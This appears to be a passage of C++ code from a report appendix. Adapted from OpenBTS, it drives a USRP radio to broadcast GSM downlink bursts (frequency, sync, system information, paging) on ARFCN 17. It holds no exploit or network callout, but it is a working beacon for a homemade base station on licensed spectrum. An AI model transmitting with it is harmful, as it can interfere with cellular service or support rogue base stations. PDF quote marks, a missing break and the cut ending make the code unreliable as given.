/* derived from the OpenBTS source code file radioIOResamp.cpp [1]. */ 
/********************************************************************/ 
void 
init_resampler(signalVector **lpf, signalVector **buf,  
                           signalVector **hist, int tx) 
{ 
  int P, Q, taps, hist_len; 
  float cutoff_freq;  
  P = 96 * 1; 
  Q = 65 * 1; 
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  taps = 651; 
  hist_len = 130; 
 
  if (!*lpf){ 
      cutoff_freq = (P < Q) ? (1.0/(float) Q) : (1.0/(float) P); 
      *lpf = createLPF(cutoff_freq, taps, P); 
  } 
  if (!*buf){ 
      *buf = new signalVector(); 
  } 
 
  if (!*hist){ 
      *hist = new signalVector(hist_len); 
  } 
} 
 
/**************************************************************/ 
/*                      concat Function                       */ 
/* This function concatenates signal vectors and was derived  */ 
/* from the OpenBTS source code file radioIOResamp.cpp [1].   */ 
/**************************************************************/ 
signalVector 
*concat(signalVector *a, signalVector *b) 
{ 
  signalVector *vec = new signalVector(*a, *b); 
  delete a; 
  delete b; 
 
  return vec; 
} 
 
/************************************************************/ 
/*                       segment Function                   */ 
/* This function re-segments signal vector and was derived  */ 
/* from the OpenBTS source code file radioIOResamp.cpp [1]. */ 
/************************************************************/ 
signalVector 
*segment(signalVector *a, int indx, int sz) 
{ 
  signalVector *vec = new signalVector(sz); 
  a->segmentCopyTo(*vec, indx, sz); 
  delete a; 
  return vec; 
} 
 
/************************************************************/ 
/*                    resmpl_sigvec Function                */ 
/* This function re-samples signal vector and was derived   */ 
/* from the OpenBTS source code file radioIOResamp.cpp [1]. */ 
/************************************************************/ 
signalVector 
*resmpl_sigvec(signalVector *hist, signalVector **vec,  
      signalVector *lpf, double in_rate, double out_rate, int chunk_sz) 
{ 
  signalVector *resamp_vec; 
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  int num_chunks = (*vec)->size() / chunk_sz; 
 
// Truncate to a chunk multiple 
  signalVector trunc_vec(num_chunks * chunk_sz); 
  (*vec)->segmentCopyTo(trunc_vec, 0, num_chunks * chunk_sz); 
 
// Update sample buffer with remainder 
  *vec = segment(*vec, trunc_vec.size(), (*vec)->size() - 
trunc_vec.size()); 
 
// Add history and resample 
  signalVector input_vec(*hist, trunc_vec); 
  resamp_vec = polyphaseResampleVector(input_vec, in_rate, out_rate, 
lpf); 
 
// Update history 
  trunc_vec.segmentCopyTo(*hist, trunc_vec.size() - hist->size(), 
                            hist->size()); 
  return resamp_vec; 
} 
 
/****************************************************************/ 
/*                 sigvec_to_short Function                     */ 
/* This function converts a signal vector into a C++ type short */ 
/* array and was derived from the OpenBTS source code file      */ 
/* radioIOResamp.cpp [1].                                       */ 
/****************************************************************/ 
int 
sigvec_to_short(signalVector *vec, short *smpls) 
{ 
  int i; 
  signalVector::iterator itr = vec->begin(); 
  for (i = 0; i < vec->size(); i++) { 
    smpls[2 * i + 0] = itr->real(); 
    smpls[2 * i + 1] = itr->imag(); 
    itr++; 
  } 
  delete vec; 
  return i; 
} 
 
/****************************/ 
/* Stop Signal Transmission */ 
/****************************/ 
static bool stop_signal_called = false; 
void  
sig_int_handler(int){ 
  stop_signal_called = true; 
} 
 
/********************************************************************/ 
/*                         Main Function                            */ 
/********************************************************************/ 
int 
UHD_SAFE_MAIN(int argc, char *argv[]) 
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{ 
  uhd::set_thread_priority_safe(); 
   
/************************/ 
/* Initialize Variables */ 
/************************/ 
  bool repeat = true; 
  std::string args = ““; 
  double tx_sample_rate = 400e3; 
  double tx_freq = 938400000;    //ARFCN 17 downlink frequency 
  float tx_gain = 1; 
  double tx_bandwidth = 200000; 
  std::string ant = “TX/RX”; 
  int samplesPerSymbol = 1; 
  int numARFCN = 1; 
  double fullScaleInputValue = (32000)*(0.3); 
  int mOversamplingRate = numARFCN/2 + numARFCN; 
 
// Initialize Signal Processing Library 
  sigProcLibSetup(samplesPerSymbol);  
 
// Create GSM Pulse 
  signalVector *gsmPulse = generateGSMPulse(2,1); 
 
// Initialize vector which holds re-sampler’s low pass filter 
  signalVector *tx_lpf = 0; 
 
// Initialize vector which holds re-sampler’s history vector 
  signalVector *tx_hist = 0; 
 
// Initialize vector which holds re-sampler’s input buffer 
  signalVector *tx_vec = 0; 
 
// Initialize re-sampler 
  init_resampler(&tx_lpf, &tx_vec, &tx_hist, true); 
 
/*******************/ 
/* Initialize USRP */ 
/*******************/ 
  uhd::usrp::multi_usrp::sptr usrp; 
  usrp = uhd::usrp::multi_usrp::make(args); 
 
// Create transmit streamer 
  uhd::stream_args_t stream_args;  
  stream_args.cpu_format = “sc16”; 
  uhd::tx_streamer::sptr tx_stream = usrp->get_tx_stream(stream_args); 
 
// Set the transmit sample rate (Hz) 
  usrp->set_tx_rate(tx_sample_rate); 
  double actual_tx_rate = usrp->get_tx_rate(); 
 
// Set the transmit gain (dB) 
  usrp->set_tx_gain(tx_gain); 
 
// Set the transmit frequency (Hz) 
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  uhd::tune_result_t tr = usrp->set_tx_freq(tx_freq); 
  double actual_tx_freq = usrp->get_tx_freq(); 
 
// Set transmit bandwidth (Hz) 
  usrp->set_tx_bandwidth(tx_bandwidth); 
 
// Set transmit antenna 
  usrp->set_tx_antenna(ant); 
 
// Set initial time for USRP 
  usrp->set_time_now(uhd::time_spec_t(0.0)); 
 
/**************************/ 
/* Terminate Burst Signal */ 
/**************************/ 
  std::signal(SIGINT, &sig_int_handler); 
  if(repeat){ 
    std::cout << “Press Ctrl + C to quit ...” << std::endl; 
  } 
 
/**************************************************************/ 
/*                       GSM Transmitter                       / 
/**************************************************************/ 
  uhd::tx_metadata_t md; 
  uhd::time_spec_t current_usrp_time = usrp->get_time_now(); 
  short smpls_out[4680]; 
  int num_resmpl, num_chunks; 
  signalVector* resamp_vec; 
  signalVector* currentBurst; 
  uint64_t Frame_Number = 0; 
  bool type13_burst0 = true; 
  bool type13_burst1 = true; 
  bool type13_burst2 = true; 
  bool type13_burst3 = true; 
  bool type24_burst0 = true; 
  bool type24_burst1 = true; 
  bool type24_burst2 = true; 
  bool type24_burst3 = true; 
  bool type2quarter_burst0 = true; 
  bool type2quarter_burst1 = true; 
  bool type2quarter_burst2 = true; 
  bool type2quarter_burst3 = true; 
 
  do{ 
    signalVector *fillerTable[102][8]; 
    for (int i = 0; i < 8; i++) { 
      for (int j = 0; j < 102; j++) { 
        if(i==0){  
          switch(j){ // Filling timeslot zero 
 
case 0:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
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  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 1:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst, fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 2:{ // System Information Type 1 or Type 3 (Burst0) 
  if(type13_burst0){ 
    signalVector* modBurst = modulateBurst(TDMA_burst[6], *gsmPulse, 
                                8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type13_burst0 = false; 
    delete modBurst; 
    break; 
  } 
  else{ 
    signalVector* modBurst = modulateBurst(TDMA_burst[18], *gsmPulse, 
                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type13_burst0 = true; 
    delete modBurst; 
    break; 
  } 
} 
case 3:{ //System Information Type 1 or Type 3 (Burst1) 
  if(type13_burst1){ 
    signalVector* modBurst = modulateBurst(TDMA_burst[7], *gsmPulse, 
                                8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type13_burst1 = false; 
    delete modBurst; 
    break; 
  } 
  else{ 
    signalVector* modBurst = modulateBurst(TDMA_burst[19], *gsmPulse, 
                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type13_burst1 = true; 
    delete modBurst; 
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    break; 
  } 
} 
case 4:{ // System Information Type 1 or Type 3 (Burst2) 
  if(type13_burst2){ 
    signalVector* modBurst = modulateBurst(TDMA_burst[8], *gsmPulse, 
                                8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type13_burst2 = false; 
    delete modBurst; 
    break; 
  } 
  else{ 
    signalVector* modBurst = modulateBurst(TDMA_burst[20], *gsmPulse, 
                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type13_burst2 = true; 
    delete modBurst; 
    break; 
  } 
} 
case 5:{ // System Information Type 1 or Type 3 (Burst3) 
  if(type13_burst3){ 
    signalVector* modBurst = modulateBurst(TDMA_burst[9], *gsmPulse, 
                                8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type13_burst3 = false; 
    delete modBurst; 
    break; 
  } 
  else{ 
    signalVector* modBurst = modulateBurst(TDMA_burst[21], *gsmPulse, 
                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type13_burst3 = true; 
    delete modBurst; 
    break; 
  } 
} 
case 6: { // CCCH Fill Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[26], *gsmPulse, 
                                8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
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} 
case 7: { // CCCH Fill Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[27], *gsmPulse, 
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 8: { // CCCH Fill Burst2) 
  signalVector* modBurst = modulateBurst(TDMA_burst[28], *gsmPulse, 
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 9: { // CCCH Fill Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[29], *gsmPulse, 
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 10:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 11:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 12: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
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} 
case 13: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 14: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 15: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 16: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 17: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 18: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
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case 19: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 20:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 21:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 22: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 23: { // Paging Request Type 1 Burst1 
signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                            8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 24: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 



 90

case 25: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 26: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 27: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 28: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 29: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 30:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 31:{ // Synchronization Burst 
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  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 32: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse,  
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 33: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse,  
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 34: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse,  
                               8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 35: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 36: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 37: { // Paging Request Type 1 Burst1 
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  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 38: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 39: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 40:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 41:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 42: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 43: { // Paging Request Type 1 Burst1 
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  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 44: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 45: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 46: { // Paging Request Type 1 Burst0 
  signalVector* modBurst = modulateBurst(TDMA_burst[2], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 47: { // Paging Request Type 1 Burst1 
  signalVector* modBurst = modulateBurst(TDMA_burst[3], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 48: { // Paging Request Type 1 Burst2 
  signalVector* modBurst = modulateBurst(TDMA_burst[4], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 49: { // Paging Request Type 1 Burst3 
  signalVector* modBurst = modulateBurst(TDMA_burst[5], *gsmPulse, 
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                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 50:{ // Idle Burst (Dummy Burst) 
  signalVector* modBurst = modulateBurst(TDMA_burst[1], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
} 
case 51:{ // Frequency Burst 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 52:{ // Synchronization Burst 
  BitVector current_sync_burst = sync_burst_creator(Frame_Number); 
  signalVector* modBurst = modulateBurst(current_sync_burst, *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst,fullScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  Frame_Number += 1; 
  delete modBurst; 
  break; 
} 
case 53:{ // System Information Type 2/2_quarter or Type 4 (Burst0) 
  if(type24_burst0){ 
    if(type2quarter_burst0){ 
      signalVector* modBurst = modulateBurst(TDMA_burst[10], *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
      scaleVector(*modBurst,fullScaleInputValue); 
      fillerTable[j][i] = new signalVector(*modBurst); 
      Frame_Number += 1; 
      type2quarter_burst0 = false; 
      type24_burst0 = false; 
      delete modBurst; 
      break; 
      } 
    else{ 
      signalVector* modBurst = modulateBurst(TDMA_burst[14], *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
      scaleVector(*modBurst,fullScaleInputValue); 
      fillerTable[j][i] = new signalVector(*modBurst); 
      Frame_Number += 1; 
      type2quarter_burst0 = true; 
      type24_burst0 = false; 
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      delete modBurst; 
      break; 
    } 
  } 
  else{ 
    signalVector* modBurst = modulateBurst(TDMA_burst[22], *gsmPulse, 
                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type24_burst0 = true; 
    delete modBurst; 
    break; 
  } 
} 
case 54:{ // System Information Type 2/2_quarter or Type 4 (Burst1) 
  if(type24_burst1){ 
    if(type2quarter_burst1){ 
      signalVector* modBurst = modulateBurst(TDMA_burst[11], *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
      scaleVector(*modBurst,fullScaleInputValue); 
      fillerTable[j][i] = new signalVector(*modBurst); 
      Frame_Number += 1; 
      type2quarter_burst1 = false; 
      type24_burst1 = false; 
      delete modBurst; 
      break; 
    } 
    else{ 
      signalVector* modBurst = modulateBurst(TDMA_burst[15], *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
      scaleVector(*modBurst,fullScaleInputValue); 
      fillerTable[j][i] = new signalVector(*modBurst); 
      Frame_Number += 1; 
      type2quarter_burst1 = true; 
      type24_burst1 = false; 
      delete modBurst; 
      break; 
    } 
  } 
  else{ 
    signalVector* modBurst = modulateBurst(TDMA_burst[23], *gsmPulse, 
                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type24_burst1 = true; 
    delete modBurst; 
    break; 
  } 
} 
case 55:{ // System Information Type 2/2_quarter or Type 4 (Burst2) 
  if(type24_burst2){ 
    if(type2quarter_burst2){ 
    signalVector* modBurst = modulateBurst(TDMA_burst[12], *gsmPulse, 
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                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type2quarter_burst2 = false; 
    type24_burst2 = false; 
    delete modBurst; 
    break; 
    } 
    else{ 
      signalVector* modBurst = modulateBurst(TDMA_burst[16], *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
      scaleVector(*modBurst,fullScaleInputValue); 
      fillerTable[j][i] = new signalVector(*modBurst); 
      Frame_Number += 1; 
      type2quarter_burst2 = true; 
      type24_burst2 = false; 
      delete modBurst; 
      break; 
    } 
  } 
  else{ 
    signalVector* modBurst = modulateBurst(TDMA_burst[24], *gsmPulse, 
                                 8 + (i % 4 == 0), samplesPerSymbol); 
    scaleVector(*modBurst,fullScaleInputValue); 
    fillerTable[j][i] = new signalVector(*modBurst); 
    Frame_Number += 1; 
    type24_burst2 = true; 
    delete modBurst; 
    break; 
  } 
} 
case 56:{ // System Information Type 2/2_quarter or Type 4 (Burst3) 
  if(type24_burst3){ 
    if(type2quarter_burst3){ 
      signalVector* modBurst = modulateBurst(TDMA_burst[13], *gsmPulse, 
                                   8 + (i % 4 == 0), samplesPerSymbol); 
      scaleVector(*modBurst,fullScaleInputValue); 
